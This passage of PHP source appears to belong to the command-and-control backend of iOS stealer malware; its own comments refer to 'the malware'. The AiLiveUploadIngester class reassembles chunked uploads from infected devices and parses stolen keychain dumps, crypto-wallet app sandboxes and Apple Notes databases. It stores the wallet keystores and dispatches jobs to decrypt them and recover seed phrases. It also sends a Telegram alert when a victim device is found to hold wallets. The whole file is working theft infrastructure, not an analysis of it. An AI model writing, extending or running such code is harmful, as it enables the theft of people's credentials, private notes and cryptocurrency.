.tar — tar of each wallet app's Documents directory * 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite) * * This service reassembles chunked uploads, parses them, and: * - keychain.xml → stored as a keychain.wallets WalletKeystore row * - wallet tar → stored as a sandbox WalletKeystore row * - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and * DecodeMemoDb job dispatched to parse note text * * DecryptDeviceKeystores is dispatched on /api/v2/finish to recover * mnemonics from the stored keystores off the request thread. */ final class AiLiveUploadIngester { /** Chunk files are saved as ___c.bin */ private const CHUNK_GLOB = '*_%s_c*.bin'; /** * Reassemble chunks for an upload session, parse the artifact, store * keystores, and dispatch the decryption job. * * @param array $session Cache session (fileName, numberOfChunks, ...) */ public function ingest(Device $device, string $uploadId, array $session): void { $fileName = (string) ($session['fileName'] ?? 'unknown'); $uploadDir = public_path('log/app_c2/uploads'); $chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1)); if ($chunks === []) { Log::channel('keystore')->warning('AiLiveUploadIngester: no chunk files found', [ 'device_id' => $device->id, 'upload_id' => $uploadId, 'file_name' => $fileName, ]); return; } $content = $this->reassemble($chunks); if ($content === '') { return; } $this->dispatchParse($device, $content, $fileName, $uploadId); } /** * Dispatch the async keystore decryption job for a device. */ public function dispatchDecrypt(Device $device): void { try { DecryptDeviceKeystores::dispatch($device->id, null, null); } catch (\Throwable $e) { Log::channel('keystore')->error('AiLiveUploadIngester dispatch failed', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'error' => $e->getMessage(), ]); } } // ──────────────────────────────────────────────────────────── // chunk reassembly // ──────────────────────────────────────────────────────────── /** * @param list $chunkIndices * @return list Sorted chunk file paths. */ private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array { if (! is_dir($dir)) { return []; } // UUIDs only contain [0-9a-f-], none of which are glob special chars, // so no escaping needed (preg_quote would break glob by escaping `-`). $pattern = sprintf(self::CHUNK_GLOB, $uploadId); $files = glob($dir.'/'.$pattern) ?: []; if ($files === []) { return []; } usort($files, function ($a, $b) { return $this->chunkIndex($a) <=> $this->chunkIndex($b); }); // Keep only the expected number of chunks. return array_slice($files, 0, max(1, $numberOfChunks)); } private function chunkIndex(string $path): int { if (preg_match('/_c(\d+)\.bin$/', $path, $m)) { return (int) $m[1]; } return 0; } /** * @param list $chunkPaths */ private function reassemble(array $chunkPaths): string { $out = ''; foreach ($chunkPaths as $path) { $chunk = @file_get_contents($path); if ($chunk === false) { continue; } $out .= $chunk; } return $out; } // ──────────────────────────────────────────────────────────── // parse + store // ──────────────────────────────────────────────────────────── /** * Route the artifact to the correct parser based on file name. */ private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void { $lower = strtolower($fileName); if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) { $this->parseKeychainXml($device, $content, $fileName); } elseif (str_ends_with($lower, '.tar')) { $bundleId = preg_replace('/\.tar$/i', '', $fileName); // Apple Notes is uploaded as group.com.apple.notes.tar — route // it to the NoteStore.sqlite decoder instead of the wallet // keystore walker. if ($this->isNotesBundle($bundleId)) { $this->parseNotesTar($device, $content, $uploadId); } else { $this->parseWalletTar($device, $content, (string) $bundleId); } } else { // Unknown artifact — try tar first, then keychain XML. if ($this->looksLikeTar($content)) { // Peek inside: if it contains NoteStore.sqlite, treat as notes. if ($this->tarContainsNoteStore($content)) { $this->parseNotesTar($device, $content, $uploadId); } else { $this->parseWalletTar($device, $content, $fileName); } } elseif ($this->looksLikeXml($content)) { $this->parseKeychainXml($device, $content, $fileName); } } } /** * Whether a bundle ID / file name refers to the Apple Notes app group. */ private function isNotesBundle(string $bundleId): bool { $lower = strtolower($bundleId); return $lower === 'group.com.apple.notes' || str_contains($lower, 'com.apple.notes') || $lower === 'notes'; } /** * Quick peek: does this tar archive contain NoteStore.sqlite? */ private function tarContainsNoteStore(string $content): bool { if (! $this->looksLikeTar($content)) { return false; } // Tar file names live in the 0–100 byte range of each 512-byte header. // A simple substring scan for "NoteStore.sqlite" is good enough. return str_contains($content, 'NoteStore.sqlite'); } private function looksLikeTar(string $content): bool { return strlen($content) >= 262 && substr($content, 257, 5) === "ustar"; } private function looksLikeXml(string $content): bool { return str_starts_with(ltrim($content), ': {items: [{account, service, dataHex}]}}} */ private function parseKeychainXml(Device $device, string $content, string $fileName): void { try { $xml = @new \SimpleXMLElement($content); } catch (\Throwable $e) { Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [ 'device_id' => $device->id, 'file_name' => $fileName, 'error' => $e->getMessage(), ]); return; } // Group items by source label. $buckets = []; $itemCount = 0; $seenBundles = []; // bundle IDs seen in this keychain dump foreach ($xml->xpath('//item') as $item) { $acct = (string) ($item->acct ?? ''); $svce = (string) ($item->svce ?? ''); $agrp = (string) ($item->agrp ?? ''); $vData = (string) ($item->{'v_Data'} ?? ''); $dataHex = $this->decodeKeychainVData($vData); if ($dataHex === '') { continue; } $source = $this->sourceFromAgrp($agrp, $acct); if (! isset($buckets[$source])) { $buckets[$source] = ['items' => []]; } $buckets[$source]['items'][] = [ 'account' => $acct, 'service' => $svce, 'accessGroup' => $agrp, 'dataHex' => $dataHex, ]; $itemCount++; // Collect bundle IDs from agrp for the installed-app list. $bundle = $this->bundleIdFromAgrp($agrp); if ($bundle !== '' && ! isset($seenBundles[$bundle])) { $seenBundles[$bundle] = $source; } } // Record every app that has keychain entries as installed. foreach ($seenBundles as $bundle => $source) { $this->recordInstalledApp($device, $bundle, $source); } if ($buckets === []) { return; } $rawJson = [ 'kind' => 'keychain.wallets', 'wallets' => $buckets, ]; $source = 'ai-live/keychain'; WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [ 'device_id' => $device->id, 'file_name' => $fileName, 'items' => $itemCount, 'sources' => array_keys($buckets), ]); } /** * Decode the base64-encoded content in and return the raw * bytes as hex. * * Two storage formats exist in iOS keychain dumps: * 1. Plist-wrapped: KEYbase64… * — common for Apple system entries (Bluetooth, account tokens). * 2. Raw value: the base64-decoded content is the value itself (a hex * string, a plain-text password, a JSON snippet, etc.) with no plist * wrapper — common for third-party app entries (Trust Wallet stores * the keystore password as a base64-encoded hex string). * * @param string $vDataRaw Base64-encoded content from . */ private function decodeKeychainVData(string $vDataRaw): string { $vDataRaw = trim($vDataRaw); if ($vDataRaw === '') { return ''; } $decoded = base64_decode($vDataRaw, true); if (! is_string($decoded) || $decoded === '') { return ''; } // ── 1. Try plist-wrapped format (Apple system entries) ── // The plist is XML: KEYbase64 if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) { try { $px = @new \SimpleXMLElement($decoded); $dataNodes = $px->xpath('//data'); foreach ($dataNodes as $dataNode) { $b64 = trim((string) $dataNode); if ($b64 === '') { continue; } $bin = base64_decode($b64, true); if (is_string($bin) && $bin !== '') { return bin2hex($bin); } } } catch (\Throwable) { // fall through to raw handling } } // ── 2. Raw value (third-party app entries) ── // The decoded content IS the value — return it as hex so the // keystore decryptor can try it as a password. This covers: // • hex strings (Trust Wallet keystore password) // • plain text passwords // • small JSON blobs return bin2hex($decoded); } /** * Map a keychain access group (agrp) to a wallet source label. * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". */ private function sourceFromAgrp(string $agrp, string $acct): string { $agrp = trim($agrp); if ($agrp === '') { // Fall back to account-based hint. $hint = WalletSource::fromKeystoreHint($acct); return $hint !== '' ? $hint : 'unknown'; } // Extract bundle id: take the part after the first dot. $bundle = ''; $parts = explode('.', $agrp, 2); if (count($parts) === 2) { $bundle = $parts[1]; } $label = WalletSource::labelForBundle($bundle, ''); if ($label !== '' && $label !== $bundle) { return $label; } $hint = WalletSource::fromKeystoreHint($bundle); if ($hint !== '') { return $hint; } return $bundle !== '' ? $bundle : 'unknown'; } /** * Extract the raw bundle ID from a keychain access group. * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". */ private function bundleIdFromAgrp(string $agrp): string { $agrp = trim($agrp); if ($agrp === '') { return ''; } $parts = explode('.', $agrp, 2); return $parts[1] ?? ''; } /** * Record a bundle ID into the device's installed-app list. The malware * only uploads a tar for apps whose sandbox it could dump, so any * uploaded bundle ID is proof the app is installed. Keychain access * groups are a secondary signal (the app has keychain entries). */ private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void { $bundleId = trim($bundleId); if ($bundleId === '') { return; } $label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId); $displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId); DeviceApp::query()->updateOrCreate( ['device_id' => $device->id, 'bundle_id' => $bundleId], [ 'name' => $displayName, 'is_wallet' => WalletSource::isPluginWalletBundle($bundleId), 'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()], ] ); $this->refreshDeviceWalletFlag($device); } /** * Refresh the device's has_wallet / wallet_names flags from the * current installed-app list. Sends a Telegram notification when * wallets are first detected (has_wallet transitions NONE → YES), * mirroring IngestService::refreshDeviceWalletFlag. */ private function refreshDeviceWalletFlag(Device $device): void { $names = []; foreach ($device->apps()->get(['bundle_id', 'name']) as $app) { $bundle = (string) $app->bundle_id; if (! WalletSource::isPluginWalletBundle($bundle)) { continue; } $label = WalletSource::labelForBundle($bundle, $app->name); $names[$label] = true; } $labels = array_keys($names); sort($labels); $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; $device->wallet_names = $labels === [] ? null : $labels; $device->saveQuietly(); // Notify Telegram the first time wallets are detected // (UNKNOWN/NONE → YES transition). if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) { try { app(\App\Services\TelegramNotifier::class) ->notifyInstalledWallets($device->device_id, $labels); } catch (\Throwable $e) { Log::channel('keystore')->warning( 'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(), ['device_id' => $device->id, 'device_key' => $device->device_id], ); } } } // ── wallet app tar ────────────────────────────────────────── /** * Extract a wallet app tar, walk the files for Web3 keystore JSON * (crypto.ciphertext/mac/kdf) and other interesting artifacts, and * store as a sandbox WalletKeystore row. * * The DsKeystoreDecrypt walker traverses the sandbox tree and picks * up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock. */ private function parseWalletTar(Device $device, string $content, string $bundleId): void { $source = WalletSource::labelForBundle($bundleId, $bundleId); if ($source === '' || $source === $bundleId) { $hint = WalletSource::fromKeystoreHint($bundleId); $source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown'); } // The malware only uploads a tar for apps whose sandbox it could // dump — so this bundle is definitely installed on the device. $this->recordInstalledApp($device, $bundleId, $source); $sandbox = $this->extractTarSandbox($content); if ($sandbox === []) { return; } $rawJson = [ 'kind' => 'sandbox', 'sandbox' => [$source => $sandbox], ]; WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [ 'device_id' => $device->id, 'bundle_id' => $bundleId, 'source' => $source, 'files' => count($sandbox, COUNT_RECURSIVE), ]); } // ── Apple Notes tar ───────────────────────────────────────── /** * Extract a group.com.apple.notes tar, pull out NoteStore.sqlite + * -wal + -shm, save them to the location DsMemoDecoder expects * (c2/ds-results///), and dispatch the * DecodeMemoDb job to parse note text off the request thread. */ private function parseNotesTar(Device $device, string $content, string $uploadId): void { $files = $this->extractNotesDbFiles($content); if ($files === []) { Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [ 'device_id' => $device->id, 'upload_id' => $uploadId, ]); return; } // DsMemoDecoder looks for files under // storage/app/c2/ds-results///NoteStore.sqlite $commandId = 'ailive_'.substr($uploadId, 0, 8); $dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId; $disk = \Illuminate\Support\Facades\Storage::disk('local'); foreach ($files as $name => $data) { $disk->put($dir.'/'.$name, $data); } Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'command_id' => $commandId, 'files' => array_keys($files), ]); // Dispatch the async SQLite decoder job. try { \App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId); } catch (\Throwable $e) { Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [ 'device_id' => $device->id, 'command_id' => $commandId, 'error' => $e->getMessage(), ]); } } /** * Extract NoteStore.sqlite + -wal + -shm from a notes tar archive. * * @return array Map of filename → raw bytes. */ private function extractNotesDbFiles(string $content): array { if (! $this->looksLikeTar($content)) { return []; } $tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_'); if ($tmp === false) { return []; } // PharData requires a .tar extension to recognise the archive format. $tmpTar = $tmp . '.tar'; @rename($tmp, $tmpTar); $tmp = $tmpTar; try { if (@file_put_contents($tmp, $content) === false) { return []; } try { $phar = new \PharData($tmp); } catch (\Throwable) { return []; } $wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm']; $out = []; foreach (new \RecursiveIteratorIterator($phar) as $f) { if (! $f->isFile()) { continue; } $base = basename($f->getPathname()); if (! in_array($base, $wanted, true)) { continue; } $raw = @file_get_contents($f->getPathname()); if ($raw === false || $raw === '') { continue; } $out[$base] = $raw; } return $out; } finally { @unlink($tmp); } } /** * Extract a tar (ustar) archive into a nested dict of file paths → * decoded content. JSON files are parsed into arrays; binary files * (Realm DBs, SQLite) are stored as base64; everything else is stored * as a UTF-8 string when possible. * * @return array */ private function extractTarSandbox(string $content): array { if (! $this->looksLikeTar($content)) { return []; } $tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_'); if ($tmp === false) { return []; } // PharData requires a .tar extension to recognise the archive format. $tmpTar = $tmp . '.tar'; @rename($tmp, $tmpTar); $tmp = $tmpTar; try { if (@file_put_contents($tmp, $content) === false) { return []; } try { $phar = new \PharData($tmp); } catch (\Throwable) { return []; } $sandbox = []; $count = 0; $maxFiles = 200; foreach (new \RecursiveIteratorIterator($phar) as $f) { if ($count >= $maxFiles) { break; } if (! $f->isFile()) { continue; } $rel = ltrim(str_replace('\\', '/', $f->getPathname())); // Strip the "phar://" prefix. The temp file // path is absolute (starts with "/"), so the old [^/]+ pattern // failed to match the leading slash — use the known prefix. $prefix = 'phar://'.$tmp; if (str_starts_with($rel, $prefix)) { $rel = substr($rel, strlen($prefix)); } else { // Fallback: strip phar:// + everything up to the first .tar $rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel; } $rel = ltrim($rel, '/'); if ($rel === '') { continue; } $raw = @file_get_contents($f->getPathname()); if ($raw === false || $raw === '') { continue; } $decoded = $this->decodeFileContent($raw, $rel); if ($decoded === null) { continue; } $this->setNestedPath($sandbox, $rel, $decoded); $count++; } return $sandbox; } finally { @unlink($tmp); } } /** * @return mixed Array for JSON, string for text/base64, null to skip. */ private function decodeFileContent(string $raw, string $path): mixed { // JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf). $first = $raw[0] ?? ''; if ($first === '{' || $first === '[') { $json = json_decode($raw, true); if (is_array($json)) { return $json; } } // Small text files → UTF-8 string. if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) { return $raw; } // Binary files (Realm, SQLite) → base64 (capped to avoid OOM). $cap = 512 * 1024; // 512 KiB if (strlen($raw) > $cap) { return null; // skip large binaries — not useful for mnemonic recovery } return base64_encode($raw); } /** * Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]). * * @param array $arr */ private function setNestedPath(array &$arr, string $path, mixed $value): void { $parts = explode('/', $path); $ref = &$arr; $n = count($parts); for ($i = 0; $i < $n - 1; $i++) { $key = $parts[$i]; if (! isset($ref[$key]) || ! is_array($ref[$key])) { $ref[$key] = []; } $ref = &$ref[$key]; } $ref[$parts[$n - 1]] = $value; } }